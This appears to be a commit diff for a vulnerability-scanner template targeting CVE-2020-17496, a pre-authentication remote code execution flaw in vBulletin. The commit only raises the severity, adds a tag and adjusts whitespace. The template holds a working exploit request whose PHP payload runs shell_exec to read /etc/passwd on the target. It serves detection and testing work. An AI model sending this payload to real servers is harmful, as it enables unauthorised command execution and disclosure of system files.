misc changes
parent
247245c837
commit
fc11a30eb7
|
@ -1,16 +1,18 @@
|
|||
id: CVE-2020-17496
|
||||
info:
|
||||
name: vBulletin Pre-Auth RCE
|
||||
author: pussycat0x
|
||||
severity: high
|
||||
author: pussycat0x
|
||||
severity: critical
|
||||
reference: https://www.tenable.com/blog/zero-day-remote-code-execution-vulnerability-in-vbulletin-disclosed
|
||||
tags: cve,cve2020,vbulletin
|
||||
tags: cve,cve2020,vbulletin,rce
|
||||
|
||||
requests:
|
||||
- method: POST
|
||||
path:
|
||||
- "{{BaseURL}}/ajax/render/widget_tabbedcontainer_tab_panel"
|
||||
body: "subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo shell_exec('cat ../../../../../../../../../../../../etc/passwd'); exit;"
|
||||
|
||||
|
||||
body: "subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo shell_exec('cat ../../../../../../../../../../../../etc/passwd'); exit;"
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: regex
|
||||
|
@ -18,4 +20,4 @@ requests:
|
|||
- "root:[x*]:0:0"
|
||||
- type: status
|
||||
status:
|
||||
-200
|
||||
-200
|
||||
|
|
Loading…
Reference in New Issue